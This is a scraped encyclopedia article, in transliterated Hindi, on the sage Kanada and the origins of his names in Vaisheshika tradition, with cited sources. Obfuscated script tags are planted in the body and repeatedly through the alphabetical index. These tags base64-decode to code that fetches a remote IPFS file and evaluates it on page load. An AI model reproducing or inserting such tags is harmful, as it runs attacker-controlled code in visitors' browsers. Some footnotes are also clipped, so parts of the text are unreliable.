कणाद

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maharshi kanad vaisheshik sootr ke nirmata, parampara se prachalit vaisheshik siddhantoan ke kramabaddh sangrahakarta evan vaisheshik darshan ke samudbhavak mane jate haian. vah ulook, kashyap, pailuk adi namoan se bhi prakhyat haian maharshi ke ye sabhi nam sabhipray aur sakaran haian.

kanad nam ka adhar

kanad shabd ki vyutpatti aur vyakhya vibhinn acharyoan ne vibhinn prakar se ki hai. unamean se kuchh ke mantavy is prakar haian—

vyomashiv ne 'kananh attiti kanad:'- adi vyutpattiyoan ki samiksha karane ke anantar yah kaha ki ye asad vyakhyan haian. unhoanne 'kechan anye' kahakar nimnalikhit paribhasha ka bhi ullekh kiya- 'asachchodyanirasarthan kananh dadati dayate iti va kanad:.'
shridhar— kanadamiti tasy kapotian vrittimanutishthat: rathyanipatit-tandunaladay pratyahan kritaharanimitta sanjna. niravakash: kananh va bhakshayatu iti yatr tatr upalambhastatrabhavatamh.^[1] shridhar ka yah vichar chintaniy hai ki kanad ki kapoti vritti ke adhar par hi vaisheshikoan ke prati yah upalambh kiya jata hai ki- 'ab koee upay n rahane ke karan kanoan ko khaiye.'
udayan adi acharyoan ka yah mat hai ki maheshvar ki kripa ko prapt karake kanad ne is shastr ka pranayan kiya- 'kananh paramanoonh atti siddhantatvenatmasath karoti iti kanad:.' at: unako kanad kaha gaya.
uparyukt sabhi vyakhyaoan ki samiksha ke bad yah kaha ja sakata hai ki kanad sanjna ek shastriy paddhati ke vaishishtray ke karan hai, n ki kapoti vritti ke karan.

ulook ya aulooky nam ka adhar

vaisheshik sootrakar ko ulook ya aulooky bhi kaha jata hai. inake ulook nam ke sambandh mean yah kianvadanti prachalit hai ki yah din mean granthoan ki rachana karate the aur rat mean ulook pakshi ke saman jivikoparjan karate the.^[2]

vyomashiv bhi is sandarbh mean yah kahate haian- 'anyaistu dharmai: sah dharmin upadesh: krit:. keneti-vina pakshina ulooken'.

nyayalilavati ki bhoomika mean bhi yah ullekh hai- 'munaye kanaday svayamishvar ulookaroopadhari pratyakshibhooy dravyagunakarmasamanyavisheshasamavayalakshanan padarthashatkamupadidesh.'

jainachary abhayadev soori ne bhi sammatitark ki vyakhya mean yah kaha ki 'etadevoktan bhagavata paramarshina aulookyen'. inako aulooky bhi kaha jata hai, aur is sandarbh mean kuchh vidvanoan dvara yah mana jata hai ki ulook inake pita ka nam tha at: ulook ke putr hone ke karan yah aulooky kahalate haian.

liangapuran mean yah sandarbh milata hai ki akshapad muni aur ulook muni shiv ke avatar the. mahabharat mean upalabdh tathyoan ke anusar sharashayya mean p de hue bhishm pitamah ki mrityu ke samay any rrishiyoan ke sath ulook bhi the. vahi ulook ya aulooky muni vaisheshik darshan ke pravartak the.^[3]

naishadhiyacharit mahakavy ki prakash tika ke rachayita narayan bhatt ne kanad aur ulook shabdoan ko ek doosare ka paryayavachi mana hai.^[4]

pailuk nam ka adhar

pailuk nam se bhi kanad ka ullekh kiya jata hai. paramanu ka ek paryayavachi shabd pilu bhi hai. at: paramanu-siddhant ke pravartak ko pailuk aur vaisheshik ko pailukasampraday bhi kaha jata hai.

kashyap nam ka adhar

kashyap gotr mean utpann hone ke karan kanad ko kashyap bhi kaha jata hai. is nam ka ullekh prashastapad ne padarth dharm-sangrah mean is prakar kiya hai- 'viruddhasiddhasandigdhamaliangan kashyapoabravith॥'^[5]

kashyap kanad ka gotranam tha. udayanachary ne bhi is tathy ka ullekh kiya hai.

vayupuran mean yah bataya gaya hai ki kanad prabhas tirth mean rahate the aur shiv ke avatar the. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

↑ nya. kan. pri. 4
↑ Vaisheshik Philosopher, UI, p.6
↑ mahabharat, shanti parv mahabharat 14.11
↑ dhvantasy vamoru vicharanayaan vaisheshakian charumatan matan me. aulookamahu: khalu darshanan tath ksham: tamastattvaniroopanay॥ nai. ch. 12.35
↑ prashastapadabhashy (shrinivas shastri sampadit sanskaran, pri. 151

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] ya. kan. pri. 4

[2] Vaisheshik Philosopher, UI, p.6

[3] rat, shanti parv mahabharat 14.11

[4] vantasy vamoru vicharanayaan vaisheshakian charumatan matan me. aulookamahu: khalu darshanan tath ksham: tamastattvaniroopanay॥ nai. ch. 12.35

[5] rashastapadabhashy (shrinivas shastri sampadit sanskaran, pri. 151

[1]

[2]

[3]

[4]

[5]